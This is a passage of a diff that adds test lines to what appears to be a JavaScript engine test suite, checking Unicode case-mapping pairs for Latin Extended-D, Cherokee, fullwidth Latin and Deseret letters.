+test(0xA767, 0xA766); // LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER, LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER
+test(0xA768, 0xA769); // LATIN CAPITAL LETTER VEND, LATIN SMALL LETTER VEND
+test(0xA769, 0xA768); // LATIN SMALL LETTER VEND, LATIN CAPITAL LETTER VEND
+test(0xA76A, 0xA76B); // LATIN CAPITAL LETTER ET, LATIN SMALL LETTER ET
+test(0xA76B, 0xA76A); // LATIN SMALL LETTER ET, LATIN CAPITAL LETTER ET
+test(0xA76C, 0xA76D); // LATIN CAPITAL LETTER IS, LATIN SMALL LETTER IS
+test(0xA76D, 0xA76C); // LATIN SMALL LETTER IS, LATIN CAPITAL LETTER IS
+test(0xA76E, 0xA76F); // LATIN CAPITAL LETTER CON, LATIN SMALL LETTER CON
+test(0xA76F, 0xA76E); // LATIN SMALL LETTER CON, LATIN CAPITAL LETTER CON
+test(0xA779, 0xA77A); // LATIN CAPITAL LETTER INSULAR D, LATIN SMALL LETTER INSULAR D
+test(0xA77A, 0xA779); // LATIN SMALL LETTER INSULAR D, LATIN CAPITAL LETTER INSULAR D
+test(0xA77B, 0xA77C); // LATIN CAPITAL LETTER INSULAR F, LATIN SMALL LETTER INSULAR F
+test(0xA77C, 0xA77B); // LATIN SMALL LETTER INSULAR F, LATIN CAPITAL LETTER INSULAR F
+test(0xA77D, 0x1D79); // LATIN CAPITAL LETTER INSULAR G, LATIN SMALL LETTER INSULAR G
+test(0xA77E, 0xA77F); // LATIN CAPITAL LETTER TURNED INSULAR G, LATIN SMALL LETTER TURNED INSULAR G
+test(0xA77F, 0xA77E); // LATIN SMALL LETTER TURNED INSULAR G, LATIN CAPITAL LETTER TURNED INSULAR G
+test(0xA780, 0xA781); // LATIN CAPITAL LETTER TURNED L, LATIN SMALL LETTER TURNED L
+test(0xA781, 0xA780); // LATIN SMALL LETTER TURNED L, LATIN CAPITAL LETTER TURNED L
+test(0xA782, 0xA783); // LATIN CAPITAL LETTER INSULAR R, LATIN SMALL LETTER INSULAR R
+test(0xA783, 0xA782); // LATIN SMALL LETTER INSULAR R, LATIN CAPITAL LETTER INSULAR R
+test(0xA784, 0xA785); // LATIN CAPITAL LETTER INSULAR S, LATIN SMALL LETTER INSULAR S
+test(0xA785, 0xA784); // LATIN SMALL LETTER INSULAR S, LATIN CAPITAL LETTER INSULAR S
+test(0xA786, 0xA787); // LATIN CAPITAL LETTER INSULAR T, LATIN SMALL LETTER INSULAR T
+test(0xA787, 0xA786); // LATIN SMALL LETTER INSULAR T, LATIN CAPITAL LETTER INSULAR T
+test(0xA78B, 0xA78C); // LATIN CAPITAL LETTER SALTILLO, LATIN SMALL LETTER SALTILLO
+test(0xA78C, 0xA78B); // LATIN SMALL LETTER SALTILLO, LATIN CAPITAL LETTER SALTILLO
+test(0xA78D, 0x0265); // LATIN CAPITAL LETTER TURNED H, LATIN SMALL LETTER TURNED H
+test(0xA790, 0xA791); // LATIN CAPITAL LETTER N WITH DESCENDER, LATIN SMALL LETTER N WITH DESCENDER
+test(0xA791, 0xA790); // LATIN SMALL LETTER N WITH DESCENDER, LATIN CAPITAL LETTER N WITH DESCENDER
+test(0xA792, 0xA793); // LATIN CAPITAL LETTER C WITH BAR, LATIN SMALL LETTER C WITH BAR
+test(0xA793, 0xA792); // LATIN SMALL LETTER C WITH BAR, LATIN CAPITAL LETTER C WITH BAR
+test(0xA794, 0xA7C4); // LATIN SMALL LETTER C WITH PALATAL HOOK, LATIN CAPITAL LETTER C WITH PALATAL HOOK
+test(0xA796, 0xA797); // LATIN CAPITAL LETTER B WITH FLOURISH, LATIN SMALL LETTER B WITH FLOURISH
+test(0xA797, 0xA796); // LATIN SMALL LETTER B WITH FLOURISH, LATIN CAPITAL LETTER B WITH FLOURISH
+test(0xA798, 0xA799); // LATIN CAPITAL LETTER F WITH STROKE, LATIN SMALL LETTER F WITH STROKE
+test(0xA799, 0xA798); // LATIN SMALL LETTER F WITH STROKE, LATIN CAPITAL LETTER F WITH STROKE
+test(0xA79A, 0xA79B); // LATIN CAPITAL LETTER VOLAPUK AE, LATIN SMALL LETTER VOLAPUK AE
+test(0xA79B, 0xA79A); // LATIN SMALL LETTER VOLAPUK AE, LATIN CAPITAL LETTER VOLAPUK AE
+test(0xA79C, 0xA79D); // LATIN CAPITAL LETTER VOLAPUK OE, LATIN SMALL LETTER VOLAPUK OE
+test(0xA79D, 0xA79C); // LATIN SMALL LETTER VOLAPUK OE, LATIN CAPITAL LETTER VOLAPUK OE
+test(0xA79E, 0xA79F); // LATIN CAPITAL LETTER VOLAPUK UE, LATIN SMALL LETTER VOLAPUK UE
+test(0xA79F, 0xA79E); // LATIN SMALL LETTER VOLAPUK UE, LATIN CAPITAL LETTER VOLAPUK UE
+test(0xA7A0, 0xA7A1); // LATIN CAPITAL LETTER G WITH OBLIQUE STROKE, LATIN SMALL LETTER G WITH OBLIQUE STROKE
+test(0xA7A1, 0xA7A0); // LATIN SMALL LETTER G WITH OBLIQUE STROKE, LATIN CAPITAL LETTER G WITH OBLIQUE STROKE
+test(0xA7A2, 0xA7A3); // LATIN CAPITAL LETTER K WITH OBLIQUE STROKE, LATIN SMALL LETTER K WITH OBLIQUE STROKE
+test(0xA7A3, 0xA7A2); // LATIN SMALL LETTER K WITH OBLIQUE STROKE, LATIN CAPITAL LETTER K WITH OBLIQUE STROKE
+test(0xA7A4, 0xA7A5); // LATIN CAPITAL LETTER N WITH OBLIQUE STROKE, LATIN SMALL LETTER N WITH OBLIQUE STROKE
+test(0xA7A5, 0xA7A4); // LATIN SMALL LETTER N WITH OBLIQUE STROKE, LATIN CAPITAL LETTER N WITH OBLIQUE STROKE
+test(0xA7A6, 0xA7A7); // LATIN CAPITAL LETTER R WITH OBLIQUE STROKE, LATIN SMALL LETTER R WITH OBLIQUE STROKE
+test(0xA7A7, 0xA7A6); // LATIN SMALL LETTER R WITH OBLIQUE STROKE, LATIN CAPITAL LETTER R WITH OBLIQUE STROKE
+test(0xA7A8, 0xA7A9); // LATIN CAPITAL LETTER S WITH OBLIQUE STROKE, LATIN SMALL LETTER S WITH OBLIQUE STROKE
+test(0xA7A9, 0xA7A8); // LATIN SMALL LETTER S WITH OBLIQUE STROKE, LATIN CAPITAL LETTER S WITH OBLIQUE STROKE
+test(0xA7AA, 0x0266); // LATIN CAPITAL LETTER H WITH HOOK, LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK)
+test(0xA7AB, 0x025C); // LATIN CAPITAL LETTER REVERSED OPEN E, LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON)
+test(0xA7AC, 0x0261); // LATIN CAPITAL LETTER SCRIPT G, LATIN SMALL LETTER SCRIPT G
+test(0xA7AD, 0x026C); // LATIN CAPITAL LETTER L WITH BELT, LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT)
+test(0xA7AE, 0x026A); // LATIN CAPITAL LETTER SMALL CAPITAL I, LATIN LETTER SMALL CAPITAL I
+test(0xA7B0, 0x029E); // LATIN CAPITAL LETTER TURNED K, LATIN SMALL LETTER TURNED K
+test(0xA7B1, 0x0287); // LATIN CAPITAL LETTER TURNED T, LATIN SMALL LETTER TURNED T
+test(0xA7B2, 0x029D); // LATIN CAPITAL LETTER J WITH CROSSED-TAIL, LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J)
+test(0xA7B3, 0xAB53); // LATIN CAPITAL LETTER CHI, LATIN SMALL LETTER CHI
+test(0xA7B4, 0xA7B5); // LATIN CAPITAL LETTER BETA, LATIN SMALL LETTER BETA
+test(0xA7B5, 0xA7B4); // LATIN SMALL LETTER BETA, LATIN CAPITAL LETTER BETA
+test(0xA7B6, 0xA7B7); // LATIN CAPITAL LETTER OMEGA, LATIN SMALL LETTER OMEGA
+test(0xA7B7, 0xA7B6); // LATIN SMALL LETTER OMEGA, LATIN CAPITAL LETTER OMEGA
+test(0xA7B8, 0xA7B9); // LATIN CAPITAL LETTER U WITH STROKE, LATIN SMALL LETTER U WITH STROKE
+test(0xA7B9, 0xA7B8); // LATIN SMALL LETTER U WITH STROKE, LATIN CAPITAL LETTER U WITH STROKE
+test(0xA7BA, 0xA7BB); // LATIN CAPITAL LETTER GLOTTAL A, LATIN SMALL LETTER GLOTTAL A
+test(0xA7BB, 0xA7BA); // LATIN SMALL LETTER GLOTTAL A, LATIN CAPITAL LETTER GLOTTAL A
+test(0xA7BC, 0xA7BD); // LATIN CAPITAL LETTER GLOTTAL I, LATIN SMALL LETTER GLOTTAL I
+test(0xA7BD, 0xA7BC); // LATIN SMALL LETTER GLOTTAL I, LATIN CAPITAL LETTER GLOTTAL I
+test(0xA7BE, 0xA7BF); // LATIN CAPITAL LETTER GLOTTAL U, LATIN SMALL LETTER GLOTTAL U
+test(0xA7BF, 0xA7BE); // LATIN SMALL LETTER GLOTTAL U, LATIN CAPITAL LETTER GLOTTAL U
+test(0xA7C2, 0xA7C3); // LATIN CAPITAL LETTER ANGLICANA W, LATIN SMALL LETTER ANGLICANA W
+test(0xA7C3, 0xA7C2); // LATIN SMALL LETTER ANGLICANA W, LATIN CAPITAL LETTER ANGLICANA W
+test(0xA7C4, 0xA794); // LATIN CAPITAL LETTER C WITH PALATAL HOOK, LATIN SMALL LETTER C WITH PALATAL HOOK
+test(0xA7C5, 0x0282); // LATIN CAPITAL LETTER S WITH HOOK, LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK)
+test(0xA7C6, 0x1D8E); // LATIN CAPITAL LETTER Z WITH PALATAL HOOK, LATIN SMALL LETTER Z WITH PALATAL HOOK
+test(0xA7C7, 0xA7C8); // LATIN CAPITAL LETTER D WITH SHORT STROKE OVERLAY, LATIN SMALL LETTER D WITH SHORT STROKE OVERLAY
+test(0xA7C8, 0xA7C7); // LATIN SMALL LETTER D WITH SHORT STROKE OVERLAY, LATIN CAPITAL LETTER D WITH SHORT STROKE OVERLAY
+test(0xA7C9, 0xA7CA); // LATIN CAPITAL LETTER S WITH SHORT STROKE OVERLAY, LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+test(0xA7CA, 0xA7C9); // LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY, LATIN CAPITAL LETTER S WITH SHORT STROKE OVERLAY
+test(0xA7F5, 0xA7F6); // LATIN CAPITAL LETTER REVERSED HALF H, LATIN SMALL LETTER REVERSED HALF H
+test(0xA7F6, 0xA7F5); // LATIN SMALL LETTER REVERSED HALF H, LATIN CAPITAL LETTER REVERSED HALF H
+test(0xAB53, 0xA7B3); // LATIN SMALL LETTER CHI, LATIN CAPITAL LETTER CHI
+test(0xAB70, 0x13A0); // CHEROKEE SMALL LETTER A, CHEROKEE LETTER A
+test(0xAB71, 0x13A1); // CHEROKEE SMALL LETTER E, CHEROKEE LETTER E
+test(0xAB72, 0x13A2); // CHEROKEE SMALL LETTER I, CHEROKEE LETTER I
+test(0xAB73, 0x13A3); // CHEROKEE SMALL LETTER O, CHEROKEE LETTER O
+test(0xAB74, 0x13A4); // CHEROKEE SMALL LETTER U, CHEROKEE LETTER U
+test(0xAB75, 0x13A5); // CHEROKEE SMALL LETTER V, CHEROKEE LETTER V
+test(0xAB76, 0x13A6); // CHEROKEE SMALL LETTER GA, CHEROKEE LETTER GA
+test(0xAB77, 0x13A7); // CHEROKEE SMALL LETTER KA, CHEROKEE LETTER KA
+test(0xAB78, 0x13A8); // CHEROKEE SMALL LETTER GE, CHEROKEE LETTER GE
+test(0xAB79, 0x13A9); // CHEROKEE SMALL LETTER GI, CHEROKEE LETTER GI
+test(0xAB7A, 0x13AA); // CHEROKEE SMALL LETTER GO, CHEROKEE LETTER GO
+test(0xAB7B, 0x13AB); // CHEROKEE SMALL LETTER GU, CHEROKEE LETTER GU
+test(0xAB7C, 0x13AC); // CHEROKEE SMALL LETTER GV, CHEROKEE LETTER GV
+test(0xAB7D, 0x13AD); // CHEROKEE SMALL LETTER HA, CHEROKEE LETTER HA
+test(0xAB7E, 0x13AE); // CHEROKEE SMALL LETTER HE, CHEROKEE LETTER HE
+test(0xAB7F, 0x13AF); // CHEROKEE SMALL LETTER HI, CHEROKEE LETTER HI
+test(0xAB80, 0x13B0); // CHEROKEE SMALL LETTER HO, CHEROKEE LETTER HO
+test(0xAB81, 0x13B1); // CHEROKEE SMALL LETTER HU, CHEROKEE LETTER HU
+test(0xAB82, 0x13B2); // CHEROKEE SMALL LETTER HV, CHEROKEE LETTER HV
+test(0xAB83, 0x13B3); // CHEROKEE SMALL LETTER LA, CHEROKEE LETTER LA
+test(0xAB84, 0x13B4); // CHEROKEE SMALL LETTER LE, CHEROKEE LETTER LE
+test(0xAB85, 0x13B5); // CHEROKEE SMALL LETTER LI, CHEROKEE LETTER LI
+test(0xAB86, 0x13B6); // CHEROKEE SMALL LETTER LO, CHEROKEE LETTER LO
+test(0xAB87, 0x13B7); // CHEROKEE SMALL LETTER LU, CHEROKEE LETTER LU
+test(0xAB88, 0x13B8); // CHEROKEE SMALL LETTER LV, CHEROKEE LETTER LV
+test(0xAB89, 0x13B9); // CHEROKEE SMALL LETTER MA, CHEROKEE LETTER MA
+test(0xAB8A, 0x13BA); // CHEROKEE SMALL LETTER ME, CHEROKEE LETTER ME
+test(0xAB8B, 0x13BB); // CHEROKEE SMALL LETTER MI, CHEROKEE LETTER MI
+test(0xAB8C, 0x13BC); // CHEROKEE SMALL LETTER MO, CHEROKEE LETTER MO
+test(0xAB8D, 0x13BD); // CHEROKEE SMALL LETTER MU, CHEROKEE LETTER MU
+test(0xAB8E, 0x13BE); // CHEROKEE SMALL LETTER NA, CHEROKEE LETTER NA
+test(0xAB8F, 0x13BF); // CHEROKEE SMALL LETTER HNA, CHEROKEE LETTER HNA
+test(0xAB90, 0x13C0); // CHEROKEE SMALL LETTER NAH, CHEROKEE LETTER NAH
+test(0xAB91, 0x13C1); // CHEROKEE SMALL LETTER NE, CHEROKEE LETTER NE
+test(0xAB92, 0x13C2); // CHEROKEE SMALL LETTER NI, CHEROKEE LETTER NI
+test(0xAB93, 0x13C3); // CHEROKEE SMALL LETTER NO, CHEROKEE LETTER NO
+test(0xAB94, 0x13C4); // CHEROKEE SMALL LETTER NU, CHEROKEE LETTER NU
+test(0xAB95, 0x13C5); // CHEROKEE SMALL LETTER NV, CHEROKEE LETTER NV
+test(0xAB96, 0x13C6); // CHEROKEE SMALL LETTER QUA, CHEROKEE LETTER QUA
+test(0xAB97, 0x13C7); // CHEROKEE SMALL LETTER QUE, CHEROKEE LETTER QUE
+test(0xAB98, 0x13C8); // CHEROKEE SMALL LETTER QUI, CHEROKEE LETTER QUI
+test(0xAB99, 0x13C9); // CHEROKEE SMALL LETTER QUO, CHEROKEE LETTER QUO
+test(0xAB9A, 0x13CA); // CHEROKEE SMALL LETTER QUU, CHEROKEE LETTER QUU
+test(0xAB9B, 0x13CB); // CHEROKEE SMALL LETTER QUV, CHEROKEE LETTER QUV
+test(0xAB9C, 0x13CC); // CHEROKEE SMALL LETTER SA, CHEROKEE LETTER SA
+test(0xAB9D, 0x13CD); // CHEROKEE SMALL LETTER S, CHEROKEE LETTER S
+test(0xAB9E, 0x13CE); // CHEROKEE SMALL LETTER SE, CHEROKEE LETTER SE
+test(0xAB9F, 0x13CF); // CHEROKEE SMALL LETTER SI, CHEROKEE LETTER SI
+test(0xABA0, 0x13D0); // CHEROKEE SMALL LETTER SO, CHEROKEE LETTER SO
+test(0xABA1, 0x13D1); // CHEROKEE SMALL LETTER SU, CHEROKEE LETTER SU
+test(0xABA2, 0x13D2); // CHEROKEE SMALL LETTER SV, CHEROKEE LETTER SV
+test(0xABA3, 0x13D3); // CHEROKEE SMALL LETTER DA, CHEROKEE LETTER DA
+test(0xABA4, 0x13D4); // CHEROKEE SMALL LETTER TA, CHEROKEE LETTER TA
+test(0xABA5, 0x13D5); // CHEROKEE SMALL LETTER DE, CHEROKEE LETTER DE
+test(0xABA6, 0x13D6); // CHEROKEE SMALL LETTER TE, CHEROKEE LETTER TE
+test(0xABA7, 0x13D7); // CHEROKEE SMALL LETTER DI, CHEROKEE LETTER DI
+test(0xABA8, 0x13D8); // CHEROKEE SMALL LETTER TI, CHEROKEE LETTER TI
+test(0xABA9, 0x13D9); // CHEROKEE SMALL LETTER DO, CHEROKEE LETTER DO
+test(0xABAA, 0x13DA); // CHEROKEE SMALL LETTER DU, CHEROKEE LETTER DU
+test(0xABAB, 0x13DB); // CHEROKEE SMALL LETTER DV, CHEROKEE LETTER DV
+test(0xABAC, 0x13DC); // CHEROKEE SMALL LETTER DLA, CHEROKEE LETTER DLA
+test(0xABAD, 0x13DD); // CHEROKEE SMALL LETTER TLA, CHEROKEE LETTER TLA
+test(0xABAE, 0x13DE); // CHEROKEE SMALL LETTER TLE, CHEROKEE LETTER TLE
+test(0xABAF, 0x13DF); // CHEROKEE SMALL LETTER TLI, CHEROKEE LETTER TLI
+test(0xABB0, 0x13E0); // CHEROKEE SMALL LETTER TLO, CHEROKEE LETTER TLO
+test(0xABB1, 0x13E1); // CHEROKEE SMALL LETTER TLU, CHEROKEE LETTER TLU
+test(0xABB2, 0x13E2); // CHEROKEE SMALL LETTER TLV, CHEROKEE LETTER TLV
+test(0xABB3, 0x13E3); // CHEROKEE SMALL LETTER TSA, CHEROKEE LETTER TSA
+test(0xABB4, 0x13E4); // CHEROKEE SMALL LETTER TSE, CHEROKEE LETTER TSE
+test(0xABB5, 0x13E5); // CHEROKEE SMALL LETTER TSI, CHEROKEE LETTER TSI
+test(0xABB6, 0x13E6); // CHEROKEE SMALL LETTER TSO, CHEROKEE LETTER TSO
+test(0xABB7, 0x13E7); // CHEROKEE SMALL LETTER TSU, CHEROKEE LETTER TSU
+test(0xABB8, 0x13E8); // CHEROKEE SMALL LETTER TSV, CHEROKEE LETTER TSV
+test(0xABB9, 0x13E9); // CHEROKEE SMALL LETTER WA, CHEROKEE LETTER WA
+test(0xABBA, 0x13EA); // CHEROKEE SMALL LETTER WE, CHEROKEE LETTER WE
+test(0xABBB, 0x13EB); // CHEROKEE SMALL LETTER WI, CHEROKEE LETTER WI
+test(0xABBC, 0x13EC); // CHEROKEE SMALL LETTER WO, CHEROKEE LETTER WO
+test(0xABBD, 0x13ED); // CHEROKEE SMALL LETTER WU, CHEROKEE LETTER WU
+test(0xABBE, 0x13EE); // CHEROKEE SMALL LETTER WV, CHEROKEE LETTER WV
+test(0xABBF, 0x13EF); // CHEROKEE SMALL LETTER YA, CHEROKEE LETTER YA
+test(0xFF21, 0xFF41); // FULLWIDTH LATIN CAPITAL LETTER A, FULLWIDTH LATIN SMALL LETTER A
+test(0xFF22, 0xFF42); // FULLWIDTH LATIN CAPITAL LETTER B, FULLWIDTH LATIN SMALL LETTER B
+test(0xFF23, 0xFF43); // FULLWIDTH LATIN CAPITAL LETTER C, FULLWIDTH LATIN SMALL LETTER C
+test(0xFF24, 0xFF44); // FULLWIDTH LATIN CAPITAL LETTER D, FULLWIDTH LATIN SMALL LETTER D
+test(0xFF25, 0xFF45); // FULLWIDTH LATIN CAPITAL LETTER E, FULLWIDTH LATIN SMALL LETTER E
+test(0xFF26, 0xFF46); // FULLWIDTH LATIN CAPITAL LETTER F, FULLWIDTH LATIN SMALL LETTER F
+test(0xFF27, 0xFF47); // FULLWIDTH LATIN CAPITAL LETTER G, FULLWIDTH LATIN SMALL LETTER G
+test(0xFF28, 0xFF48); // FULLWIDTH LATIN CAPITAL LETTER H, FULLWIDTH LATIN SMALL LETTER H
+test(0xFF29, 0xFF49); // FULLWIDTH LATIN CAPITAL LETTER I, FULLWIDTH LATIN SMALL LETTER I
+test(0xFF2A, 0xFF4A); // FULLWIDTH LATIN CAPITAL LETTER J, FULLWIDTH LATIN SMALL LETTER J
+test(0xFF2B, 0xFF4B); // FULLWIDTH LATIN CAPITAL LETTER K, FULLWIDTH LATIN SMALL LETTER K
+test(0xFF2C, 0xFF4C); // FULLWIDTH LATIN CAPITAL LETTER L, FULLWIDTH LATIN SMALL LETTER L
+test(0xFF2D, 0xFF4D); // FULLWIDTH LATIN CAPITAL LETTER M, FULLWIDTH LATIN SMALL LETTER M
+test(0xFF2E, 0xFF4E); // FULLWIDTH LATIN CAPITAL LETTER N, FULLWIDTH LATIN SMALL LETTER N
+test(0xFF2F, 0xFF4F); // FULLWIDTH LATIN CAPITAL LETTER O, FULLWIDTH LATIN SMALL LETTER O
+test(0xFF30, 0xFF50); // FULLWIDTH LATIN CAPITAL LETTER P, FULLWIDTH LATIN SMALL LETTER P
+test(0xFF31, 0xFF51); // FULLWIDTH LATIN CAPITAL LETTER Q, FULLWIDTH LATIN SMALL LETTER Q
+test(0xFF32, 0xFF52); // FULLWIDTH LATIN CAPITAL LETTER R, FULLWIDTH LATIN SMALL LETTER R
+test(0xFF33, 0xFF53); // FULLWIDTH LATIN CAPITAL LETTER S, FULLWIDTH LATIN SMALL LETTER S
+test(0xFF34, 0xFF54); // FULLWIDTH LATIN CAPITAL LETTER T, FULLWIDTH LATIN SMALL LETTER T
+test(0xFF35, 0xFF55); // FULLWIDTH LATIN CAPITAL LETTER U, FULLWIDTH LATIN SMALL LETTER U
+test(0xFF36, 0xFF56); // FULLWIDTH LATIN CAPITAL LETTER V, FULLWIDTH LATIN SMALL LETTER V
+test(0xFF37, 0xFF57); // FULLWIDTH LATIN CAPITAL LETTER W, FULLWIDTH LATIN SMALL LETTER W
+test(0xFF38, 0xFF58); // FULLWIDTH LATIN CAPITAL LETTER X, FULLWIDTH LATIN SMALL LETTER X
+test(0xFF39, 0xFF59); // FULLWIDTH LATIN CAPITAL LETTER Y, FULLWIDTH LATIN SMALL LETTER Y
+test(0xFF3A, 0xFF5A); // FULLWIDTH LATIN CAPITAL LETTER Z, FULLWIDTH LATIN SMALL LETTER Z
+test(0xFF41, 0xFF21); // FULLWIDTH LATIN SMALL LETTER A, FULLWIDTH LATIN CAPITAL LETTER A
+test(0xFF42, 0xFF22); // FULLWIDTH LATIN SMALL LETTER B, FULLWIDTH LATIN CAPITAL LETTER B
+test(0xFF43, 0xFF23); // FULLWIDTH LATIN SMALL LETTER C, FULLWIDTH LATIN CAPITAL LETTER C
+test(0xFF44, 0xFF24); // FULLWIDTH LATIN SMALL LETTER D, FULLWIDTH LATIN CAPITAL LETTER D
+test(0xFF45, 0xFF25); // FULLWIDTH LATIN SMALL LETTER E, FULLWIDTH LATIN CAPITAL LETTER E
+test(0xFF46, 0xFF26); // FULLWIDTH LATIN SMALL LETTER F, FULLWIDTH LATIN CAPITAL LETTER F
+test(0xFF47, 0xFF27); // FULLWIDTH LATIN SMALL LETTER G, FULLWIDTH LATIN CAPITAL LETTER G
+test(0xFF48, 0xFF28); // FULLWIDTH LATIN SMALL LETTER H, FULLWIDTH LATIN CAPITAL LETTER H
+test(0xFF49, 0xFF29); // FULLWIDTH LATIN SMALL LETTER I, FULLWIDTH LATIN CAPITAL LETTER I
+test(0xFF4A, 0xFF2A); // FULLWIDTH LATIN SMALL LETTER J, FULLWIDTH LATIN CAPITAL LETTER J
+test(0xFF4B, 0xFF2B); // FULLWIDTH LATIN SMALL LETTER K, FULLWIDTH LATIN CAPITAL LETTER K
+test(0xFF4C, 0xFF2C); // FULLWIDTH LATIN SMALL LETTER L, FULLWIDTH LATIN CAPITAL LETTER L
+test(0xFF4D, 0xFF2D); // FULLWIDTH LATIN SMALL LETTER M, FULLWIDTH LATIN CAPITAL LETTER M
+test(0xFF4E, 0xFF2E); // FULLWIDTH LATIN SMALL LETTER N, FULLWIDTH LATIN CAPITAL LETTER N
+test(0xFF4F, 0xFF2F); // FULLWIDTH LATIN SMALL LETTER O, FULLWIDTH LATIN CAPITAL LETTER O
+test(0xFF50, 0xFF30); // FULLWIDTH LATIN SMALL LETTER P, FULLWIDTH LATIN CAPITAL LETTER P
+test(0xFF51, 0xFF31); // FULLWIDTH LATIN SMALL LETTER Q, FULLWIDTH LATIN CAPITAL LETTER Q
+test(0xFF52, 0xFF32); // FULLWIDTH LATIN SMALL LETTER R, FULLWIDTH LATIN CAPITAL LETTER R
+test(0xFF53, 0xFF33); // FULLWIDTH LATIN SMALL LETTER S, FULLWIDTH LATIN CAPITAL LETTER S
+test(0xFF54, 0xFF34); // FULLWIDTH LATIN SMALL LETTER T, FULLWIDTH LATIN CAPITAL LETTER T
+test(0xFF55, 0xFF35); // FULLWIDTH LATIN SMALL LETTER U, FULLWIDTH LATIN CAPITAL LETTER U
+test(0xFF56, 0xFF36); // FULLWIDTH LATIN SMALL LETTER V, FULLWIDTH LATIN CAPITAL LETTER V
+test(0xFF57, 0xFF37); // FULLWIDTH LATIN SMALL LETTER W, FULLWIDTH LATIN CAPITAL LETTER W
+test(0xFF58, 0xFF38); // FULLWIDTH LATIN SMALL LETTER X, FULLWIDTH LATIN CAPITAL LETTER X
+test(0xFF59, 0xFF39); // FULLWIDTH LATIN SMALL LETTER Y, FULLWIDTH LATIN CAPITAL LETTER Y
+test(0xFF5A, 0xFF3A); // FULLWIDTH LATIN SMALL LETTER Z, FULLWIDTH LATIN CAPITAL LETTER Z
+test(0x10400, 0x10428); // DESERET CAPITAL LETTER LONG I, DESERET SMALL LETTER LONG I
+test(0x10401, 0x10429); // DESERET CAPITAL LETTER LONG E, DESERET SMALL LETTER LONG E
+test(0x10402, 0x1042A); // DESERET CAPITAL LETTER LONG A, DESERET SMALL LETTER LONG A
+test(0x10403, 0x1042B); // DESERET CAPITAL LETTER LONG AH, DESERET SMALL LETTER LONG AH
+test(0x10404, 0x1042C); // DESERET CAPITAL LETTER LONG O, DESERET SMALL LETTER LONG O
+test(0x10405, 0x1042D); // DESERET CAPITAL LETTER LONG OO, DESERET SMALL LETTER LONG OO
+test(0x10406, 0x1042E); // DESERET CAPITAL LETTER SHORT I, DESERET SMALL LETTER SHORT I
+test(0x10407, 0x1042F); // DESERET CAPITAL LETTER SHORT E, DESERET SMALL LETTER SHORT E
+test(0x10408, 0x10430); // DESERET CAPITAL LETTER SHORT A, DESERET SMALL LETTER SHORT A
+test(0x10409, 0x10431); // DESERET CAPITAL LETTER SHORT AH, DESERET SMALL LETTER SHORT AH
+test(0x1040A, 0x10432); // DESERET CAPITAL LETTER SHORT O, DESERET SMALL LETTER SHORT O
+test(0x1040B, 0x10433); // DESERET CAPITAL LETTER SHORT OO, DESERET SMALL LETTER SHORT OO
+test(0x1040C, 0x10434); // DESERET CAPITAL LETTER AY, DESERET SMALL LETTER AY
+test(0x1040D, 0x10435); // DESERET CAPITAL LETTER OW, DESERET SMALL LETTER OW
+test(0x1040E, 0x10436); // DESERET CAPITAL LETTER WU, DESERET SMALL LETTER WU
+test(0x1040F, 0x10437); // DESERET CAPITAL LETTER YEE, DESERET SMALL LETTER YEE
+test(0x10410, 0x10438); // DESERET CAPITAL LETTER H, DESERET SMALL LETTER H
+test(0x10411, 0x10439); // DESERET CAPITAL LETTER PEE, DESERET SMALL LETTER PEE
+test(0x10412, 0x1043A); // DESERET CAPITAL LETTER BEE, DESERET SMALL LETTER BEE
+test(0x10413, 0x1043B); // DESERET CAPITAL LETTER TEE, DESERET SMALL LETTER TEE
+test(0x10414, 0x1043C); // DESERET CAPITAL LETTER DEE, DESERET SMALL LETTER DEE
+test(0x10415, 0x1043D); // DESERET CAPITAL LETTER CHEE, DESERET SMALL LETTER CHEE
+test(0x10416, 0x1043E); // DESERET CAPITAL LETTER JEE, DESERET SMALL LETTER JEE
+test(0x10417, 0x1043F); // DESERET CAPITAL LETTER KAY, DESERET SMALL LETTER KAY
+test(0x10418, 0x10440); // DESERET CAPITAL LETTER GAY, DESERET SMALL LETTER GAY
+test(0x10419, 0x10441); // DESERET CAPITAL LETTER EF, DESERET SMALL LETTER EF
+test(0x1041A, 0x10442); // DESERET CAPITAL LETTER VEE, DESERET SMALL LETTER VEE
+test(0x1041B, 0x10443); // DESERET CAPITAL LETTER ETH, DESERET SMALL LETTER ETH
+test(0x1041C, 0x10444); // DESERET CAPITAL LETTER THEE, DESERET SMALL LETTER THEE
+test(0x1041D, 0x10445); // DESERET CAPITAL LETTER ES, DESERET SMALL LETTER ES
+test(0x1041E, 0x10446); // DESERET CAPITAL LETTER ZEE, DESERET SMALL LETTER ZEE
+test(0x1041F, 0x10447); // DESERET CAPITAL LETTER ESH, DESERET SMALL LETTER ESH
+test(0x10420, 0x10448); // DESERET CAPITAL LETTER ZHEE, DESERET SMALL LETTER ZHEE
+test(0x10421, 0x10449); // DESERET CAPITAL LETTER ER, DESERET SMALL LETTER ER
+test(0x10422, 0x1044A); // DESERET CAPITAL LETTER EL, DESERET SMALL LETTER EL
+test(0x10423, 0x1044B); // DESERET CAPITAL LETTER EM, DESERET SMALL LETTER EM
+test(0x10424, 0x1044C); // DESERET CAPITAL LETTER EN, DESERET SMALL LETTER EN
+test(0x10425, 0x1044D); // DESERET CAPITAL LETTER ENG, DESERET SMALL LETTER ENG
+test(0x10426, 0x1044E); // DESERET CAPITAL LETTER OI, DESERET SMALL LETTER OI
+test(0x10427, 0x1044F); // DESERET CAPITAL LETTER EW, DESERET SMALL LETTER EW
+test(0x10428, 0x10400); // DESERET SMALL LETTER LONG I, DESERET CAPITAL LETTER LONG I
+test(0x10429, 0x10401); // DESERET SMALL LETTER LONG E, DESERET CAPITAL LETTER LONG E
+test(0x1042A, 0x10402); // DESERET SMALL LETTER LONG A, DESERET CAPITAL LETTER LONG A
+test(0x1042B, 0x10403); // DESERET SMALL LETTER LONG AH, DESERET CAPITAL LETTER LONG AH
+test(0x1042C, 0x10404); // DESERET SMALL LETTER LONG O, DESERET CAPITAL LETTER LONG O
